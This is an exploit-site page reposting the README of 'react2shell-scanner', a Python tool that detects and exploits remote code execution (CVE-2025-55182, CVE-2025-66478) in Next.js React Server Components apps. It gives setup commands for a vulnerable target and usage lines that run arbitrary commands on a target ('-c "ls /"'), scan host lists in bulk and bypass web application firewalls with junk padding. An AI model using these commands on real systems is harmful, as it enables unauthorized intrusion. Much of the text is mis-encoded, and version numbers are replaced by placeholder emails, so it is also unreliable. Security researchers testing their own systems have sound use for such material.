Sploitus

Exploit for CVE-2025-55182 CVE-2025-55182 CVE-2025-66478

kitploit ┬╖ 2026-08-28

Exploit Code

MARKDOWN221 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZZHORC-CVE-2025-55182
# рдкреНрд░рднрд╛рд╡рд┐рдд рд╕рдВрд╕реНрдХрд░рдг

рдШрдЯрдХ| рдкреБрдирд░реБрддреНрдкрд╛рджрди рд╣реЗрддреБ рдЕрдиреБрд╢рдВрд╕рд┐рдд рд╕рдВрд╕реНрдХрд░рдг| рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рд╕реАрдорд╛  
---|---|---  
**Node.js**|  >= 20.9.0| 20.9.0 (LTS) рдФрд░ рдЙрд╕рд╕реЗ рдКрдкрд░  
**Next.js**|  15.0.0| 15.x, 16.x (App Router)  
**React Core**|  19.0.0 рдпрд╛ 19.2.0| 19.0.0 рд╕реЗ 19.2.0 рддрдХ  
**RSC Bundler**|  react-server-dom-webpack| 19.0.0 рд╕реЗ 19.2.0 рддрдХ  
  
# рдмрд┐рд▓реНрдб рдФрд░ рд╕реНрдЯрд╛рд░реНрдЯ

  1. рдирд┐рдореНрди рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдмрд▓рдкреВрд░реНрд╡рдХ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ

root@kitploit:~
         
         cd cve-2025-55182-target
         npm install --force
         

  2. рдирд┐рд░реНрднрд░рддрд╛ рд╕рдВрд╕реНрдХрд░рдг рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░реЗрдВ

root@kitploit:~
         
         npm list react next
         # чбошодш╛УхЗ║цШ╛чд║ some-email@example.com хТМ some-email@example.com
         

рдЬрдм рддрдХ рд╢реАрд░реНрд╖-рд╕реНрддрд░реАрдп рдирд┐рд░реНрднрд░рддрд╛ рд╕реВрдЪреА some-email@example.com рдФрд░ some-email@example.com рджрд┐рдЦрд╛рддреА рд╣реИ, рдкрд░рд┐рд╡реЗрд╢ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЕрд╡рд╕реНрдерд╛ рдореЗрдВ рд▓реЙрдХ рд╣реЛ рдЪреБрдХрд╛ рд╣реИ; рдпрд╣рд╛рдБ рджрд┐рдЦрд╛рдИ рджреЗрдиреЗ рд╡рд╛рд▓реА рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдФрд░ рддреНрд░реБрдЯрд┐ рдХреЛрдбреЛрдВ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

  3. рдмрд┐рд▓реНрдб рдХрд░реЗрдВ:

root@kitploit:~
         
         npm run build
         

  4. рдЪрд▓рд╛рдПрдБ:

root@kitploit:~
         
         npm start
         

рд╕рд░реНрд╡рд░ http://localhost:3000 рдкрд░ рд╕реБрди рд░рд╣рд╛ рд╣реЛрдЧрд╛ред рдкрд░рд┐рд╡реЗрд╢ рд╕реЗрдЯрдЕрдк рдкреВрд░реНрдг рд╣реЛ рдЧрдпрд╛ рд╣реИ; рдЕрдм рднреЗрджреНрдпрддрд╛ рд╕рддреНрдпрд╛рдкрди рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред




# рдЙрджрд╛рд╣рд░рдг

  * рднреЗрджреНрдпрддрд╛ рдкрд╣рдЪрд╛рди/рд╕реНрдХреИрдирд┐рдВрдЧ:

root@kitploit:~
        
        cd React2shell
        python3.11 scanner.py -u http://127.0.0.1:3000/
        

  * RCE:

root@kitploit:~
        
        python3.11 scanner_with_rce.py -u http://127.0.0.1:3000/ -c "ls /"
        

![rce](https://assets.kitploit.com/production/public/readmes/35218/28db349c770af9d4439091d35182abd56999b2278c7c42a58ba12b3e9c14bc24.png)




![poc](https://assets.kitploit.com/production/public/readmes/35218/5213e2cfc1b34d4d359013a33a32d178a16b9b83fd53705abb23a247758ba2f7.png)

# рд╕рдВрджрд░реНрдн

react2shell-scanner

## react2shell-scanner

React Server Components рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ Next.js рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ CVE-2025-55182 рдФрд░ CVE-2025-66478 рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЯреВрд▓ред

рднреЗрджреНрдпрддрд╛ рдФрд░ рдкрд╣рдЪрд╛рди рдкрджреНрдзрддрд┐ рдХреА рддрдХрдиреАрдХреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП, рд╣рдорд╛рд░рд╛ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рджреЗрдЦреЗрдВ: https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478

## рдпрд╣ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рд╕реНрдХреИрдирд░ рдПрдХ рдирд┐рд░реНрдорд┐рдд рдорд▓реНрдЯреАрдкрд╛рд░реНрдЯ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ RCE рдкреНрд░реВрдл-рдСрдл-рдХреЙрдиреНрд╕реЗрдкреНрдЯ рдкреЗрд▓реЛрдб рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдЧрдгрд┐рддреАрдп рдСрдкрд░реЗрд╢рди (`41*271 = 11111`) рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрд╕реНрдЯ рдкрд░рд┐рдгрд╛рдо рдХреЛ `X-Action-Redirect` рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ `/login?a=11111` рдХреЗ рд░реВрдк рдореЗрдВ рд▓реМрдЯрд╛рддреЗ рд╣реИрдВред

рд╕реНрдХреИрдирд░ рдкрд╣рд▓реЗ рд░реВрдЯ рдкрд╛рде рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИред рдпрджрд┐ рдпрд╣ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ рд╕рдорд╛рди-рд╣реЛрд╕реНрдЯ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ (рдЬреИрд╕реЗ, `/` рд╕реЗ `/en/`) рдХрд╛ рдЕрдиреБрд╕рд░рдг рдХрд░рддрд╛ рд╣реИ рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдЧрдВрддрд╡реНрдп рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИред рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдХрд╛ рдЕрдиреБрд╕рд░рдг рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

### рд╕реБрд░рдХреНрд╖рд┐рдд рдЬрд╛рдБрдЪ рдореЛрдб

`--safe-check` рдлреНрд▓реИрдЧ рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рдкрд╣рдЪрд╛рди рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рдЯрд╛рд░рдЧреЗрдЯ рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдП рдмрд┐рдирд╛ рд╕рд╛рдЗрдб-рдЪреИрдирд▓ рд╕рдВрдХреЗрддрдХреЛрдВ (рд╡рд┐рд╢рд┐рд╖реНрдЯ рддреНрд░реБрдЯрд┐ рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдХреЗ рд╕рд╛рде 500 рд╕реНрдЯреЗрдЯрд╕ рдХреЛрдб) рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдЬрдм RCE рдирд┐рд╖реНрдкрд╛рджрди рд╡рд╛рдВрдЫрд┐рдд рди рд╣реЛ рддреЛ рдЗрд╕ рдореЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

### WAF рдмрд╛рдЗрдкрд╛рд╕

`--waf-bypass` рдлреНрд▓реИрдЧ рдорд▓реНрдЯреАрдкрд╛рд░реНрдЯ рдЕрдиреБрд░реЛрдз рдмреЙрдбреА рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЬрдВрдХ рдбреЗрдЯрд╛ рдЬреЛрдбрд╝ рджреЗрддрд╛ рд╣реИред рдпрд╣ WAF рд╕рд╛рдордЧреНрд░реА рдирд┐рд░реАрдХреНрд╖рдг рд╕реЗ рдмрдЪрдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рдХреЗрд╡рд▓ рдЕрдиреБрд░реЛрдз рдмреЙрдбреА рдХреЗ рдкрд╣рд▓реЗ рднрд╛рдЧ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рддрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЖрдХрд╛рд░ 128KB рд╣реИ, рдЬрд┐рд╕реЗ `--waf-bypass-size` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЬрдм WAF рдмрд╛рдЗрдкрд╛рд╕ рд╕рдХреНрд╖рдо рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдЯрд╛рдЗрдордЖрдЙрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ 20 рд╕реЗрдХрдВрдб рддрдХ рдмрдврд╝рд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдЬрдм рддрдХ рдХрд┐ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рд╕реЗрдЯ рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реЛ)ред

### рд╡рд┐рдВрдбреЛрдЬ рдореЛрдб

`--windows` рдлреНрд▓реИрдЧ рд╡рд┐рдВрдбреЛрдЬ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реЗ рдЯрд╛рд░рдЧреЗрдЯреНрд╕ рдХреЗ рд▓рд┐рдП рдкреЗрд▓реЛрдб рдХреЛ Unix рд╢реЗрд▓ (`echo $((41*271))`) рд╕реЗ PowerShell (`powershell -c "41*271"`) рдореЗрдВ рдмрджрд▓ рджреЗрддрд╛ рд╣реИред

## рдЖрд╡рд╢реНрдпрдХрддрд╛рдПрдБ

  * Python 3.9+
  * requests
  * tqdm



## рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди

root@kitploit:~
    
    
    pip install -r requirements.txt
    

## рдЙрдкрдпреЛрдЧ

рдПрдХрд▓ рд╣реЛрд╕реНрдЯ рд╕реНрдХреИрди рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com
    

рд╣реЛрд╕реНрдЯреЛрдВ рдХреА рд╕реВрдЪреА рд╕реНрдХреИрди рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python3 scanner.py -l hosts.txt
    

рдПрдХрд╛рдзрд┐рдХ рдереНрд░реЗрдбреНрд╕ рдХреЗ рд╕рд╛рде рд╕реНрдХреИрди рдХрд░реЗрдВ рдФрд░ рдкрд░рд┐рдгрд╛рдо рд╕рд╣реЗрдЬреЗрдВ:

root@kitploit:~
    
    
    python3 scanner.py -l hosts.txt -t 20 -o results.json
    

рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рд╕реНрдХреИрди рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
    

рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рд╛рдЗрдб-рдЪреИрдирд▓ рдкрд╣рдЪрд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --safe-check
    

рд╡рд┐рдВрдбреЛрдЬ рдЯрд╛рд░рдЧреЗрдЯреНрд╕ рд╕реНрдХреИрди рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --windows
    

WAF рдмрд╛рдЗрдкрд╛рд╕ рдХреЗ рд╕рд╛рде рд╕реНрдХреИрди рдХрд░реЗрдВ:

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com --waf-bypass
    

RCE

root@kitploit:~
    
    
    python3 scanner.py -u https://example.com -c "ls /"
    

## рд╡рд┐рдХрд▓реНрдк

root@kitploit:~
    
    
    -u, --url         Single URL to check
    -c, --cmd         Command to execute
    -l, --list        File containing hosts (one per line)
    -t, --threads     Number of concurrent threads (default: 10)
    --timeout         Request timeout in seconds (default: 10)
    -o, --output      Output file for results (JSON)
    --all-results     Save all results, not just vulnerable hosts
    -k, --insecure    Disable SSL certificate verification
    -H, --header      Custom header (can be used multiple times)
    -v, --verbose     Show response details for vulnerable hosts
    -q, --quiet       Only output vulnerable hosts
    --no-color        Disable colored output
    --safe-check      Use safe side-channel detection instead of RCE PoC
    --windows         Use Windows PowerShell payload instead of Unix shell
    --waf-bypass      Add junk data to bypass WAF content inspection
    --waf-bypass-size Size of junk data in KB (default: 128)
    

## рд╢реНрд░реЗрдп

RCE PoC рдореВрд▓ рд░реВрдк рд╕реЗ @maple3142 рджреНрд╡рд╛рд░рд╛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ -- рдПрдХ рдХрд╛рд░реНрдпрд╢реАрд▓ PoC рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдо рдЙрдирдХреЗ рдХрд╛рд░реНрдп рдХреЗ рдкреНрд░рддрд┐ рдЕрддреНрдпрдВрдд рдЖрднрд╛рд░реА рд╣реИрдВред

рдпрд╣ рдЯреВрд▓рд┐рдВрдЧ рдореВрд▓ рд░реВрдк рд╕реЗ RCE рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рддрд░реАрдХреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдИ рдЧрдИ рдереАред рдпрд╣ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдЕрднреА рднреА `--safe-check`, рдЕрд░реНрдерд╛рдд "рд╕реБрд░рдХреНрд╖рд┐рдд рдкрд╣рдЪрд╛рди" рдореЛрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИред

  * Assetnote Security Research Team - Adam Kues, Tomais Williamson, Dylan Pindur, Patrik Grobsh├дuser, Shubham Shah
  * xEHLE_ \- рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ RCE рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рддрд┐рдмрд┐рдВрдм
  * Nagli



## рдЖрдЙрдЯрдкреБрдЯ

рдкрд░рд┐рдгрд╛рдо рдЯрд░реНрдорд┐рдирд▓ рдкрд░ рдкреНрд░рд┐рдВрдЯ рд╣реЛрддреЗ рд╣реИрдВред `-o` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░, рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╣реЛрд╕реНрдЯ рд╕рддреНрдпрд╛рдкрди рд╣реЗрддреБ рдкреВрд░реНрдг HTTP рдЕрдиреБрд░реЛрдз рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╡рд╛рд▓реА рдПрдХ JSON рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВред